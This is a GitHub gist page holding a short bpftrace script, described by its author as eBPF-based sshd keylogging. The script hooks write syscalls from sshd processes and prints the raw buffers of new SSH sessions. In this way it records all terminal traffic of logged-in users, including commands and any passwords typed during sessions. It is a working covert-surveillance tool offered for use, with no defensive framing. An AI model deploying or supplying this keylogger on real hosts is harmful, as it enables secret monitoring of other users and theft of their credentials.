Skip to content

Instantly share code, notes, and snippets.

@Esonhugh
Last active January 21, 2023 15:59
Show Gist options
  • Save Esonhugh/044a0f30663755efa5449298828e7f00 to your computer and use it in GitHub Desktop.
Save Esonhugh/044a0f30663755efa5449298828e7f00 to your computer and use it in GitHub Desktop.
ebpf base sshd keylogging. example code is using bpftrace cli tool.
// explain:
// fd > 5 always occurs when user create a new interface
// fd = 5 is common command line shell.
// fd = 10 termius will use this, other command line shell is not test yet.
// This script can logging all communication of new ssh process when new login attempt happen.
tracepoint:syscalls:sys_enter_write / comm == "sshd" && args->fd >= 5 / {
printf("[pid %d fd %d] %r\n", pid, args->fd ,buf(args->buf, args->count ));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment